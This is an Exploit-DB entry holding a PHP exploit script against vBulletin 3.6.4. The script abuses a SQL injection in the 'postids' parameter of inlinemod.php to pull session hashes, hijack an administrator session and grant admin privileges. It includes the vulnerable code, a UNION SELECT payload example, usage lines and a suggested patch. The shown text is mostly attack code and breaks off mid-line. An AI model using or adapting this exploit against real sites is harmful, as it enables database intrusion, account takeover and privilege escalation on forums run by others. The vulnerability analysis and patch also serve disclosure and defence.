Exploit-DB #3387
Description: vBulletin 3.6.4 - 'inlinemod.php?postids' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-28
Author: rgod

Exploit:
<?php
print_r('
-----------------------------------------------------------------------------
vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege
escalation by session hijacking exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

Works regardless of php.ini settings, you need a Super Moderator account
to copy posts among threads, to be launched while admin is logged in to
the control panel, this will give you full admin privileges
note: this will flood the forum with empty threads even!
-----------------------------------------------------------------------------
');

if ($argc<7) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path user pass forumid postid OPTIONS
host:      target server (ip/hostname)
path:      path to vbulletin
user/pass: you need a moderator account
forumid:   existing forum
postid:    existing post
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /vbulletin/ rgod mypass 2 121 -P1.1.1.1:80
php '.$argv[0].' localhost /vbulletin/ rgod mypass 1 143 -p81
-----------------------------------------------------------------------------
');
die;
}
/*
vulnerable code in inlinemod.php near lines 185-209:

...
	case 'docopyposts':

		$vbulletin->input->clean_array_gpc('p', array(
			'postids' => TYPE_STR,
		));

		$postids = explode(',', $vbulletin->GPC['postids']);
		foreach ($postids AS $index => $postid)
		{
			if ($postids["$index"] != intval($postid))
			{
				unset($postids["$index"]);
			}
		}

		if (empty($postids))
		{
			eval(standard_error(fetch_error('no_applicable_posts_selected')));
		}

		if (count($postids) > $postlimit)
		{
			eval(standard_error(fetch_error('you_are_limited_to_working_with_x_posts', $postlimit)));
		}
		break;
...
when an element of $postids array is not an integer, it fails to unset() the proper value.

An example:

<?php
$foo[1]="99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*";
$foo[2]=intval($foo[1]);

echo $foo[1]."\n";
echo $foo[2]."\n";
if ($foo[1] != $foo[2])
{
 echo "they are different";
}
else
{
 echo "they match!";
}
?>

output:

99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*
99999
they match!

this because when php tries to comparise a string with an integer
it tries to convert the string in its integer value, it chooses the first integer chars
of the string itself!
so unset() never run!

the result is sql injection near lines 3792-3800:

...
	$posts = $db->query_read_slave("
		SELECT post.postid, post.threadid, post.visible, post.title, post.username, post.dateline, post.parentid, post.userid,
			thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid,
			thread.sticky, thread.open, thread.iconid
		FROM " . TABLE_PREFIX . "post AS post
		LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
		WHERE postid IN (" . implode(',', $postids) . ")
		ORDER BY post.dateline
	");
...

this exploit extract various session hashes from the database
to authenticate as admin and to change the privileges of a registered user
I could not find a way to see results inside html, so this asks true/false
questions to the database, copying posts around threads

possible patch, replace:
foreach ($postids AS $index => $postid)
		{
		   	if ($postids["$index"] != intval($postid))
			{
			    unset($postids["$index"]);
			}
		}

with:

foreach ($postids AS $index => $postid)
		{
	       $postids["$index"]=(int)$postids["$index"];
	    }


and, some line before:

foreach ($threadids AS $index => $threadid)
		{
			if ($threadids["$index"] != intval($threadid))
			{
				unset($threadids["$index"]);
			}
		}

with:

foreach ($threadids AS $index => $threadid)
		{
	       $threadids["$index"]=(int)$threadids["$index"];
	    }


vendor was contacted by email form...
*/

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=md5($argv[4]);
$forumid=(int)$argv[5];
$existing_post=(int)$argv[6];

$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P",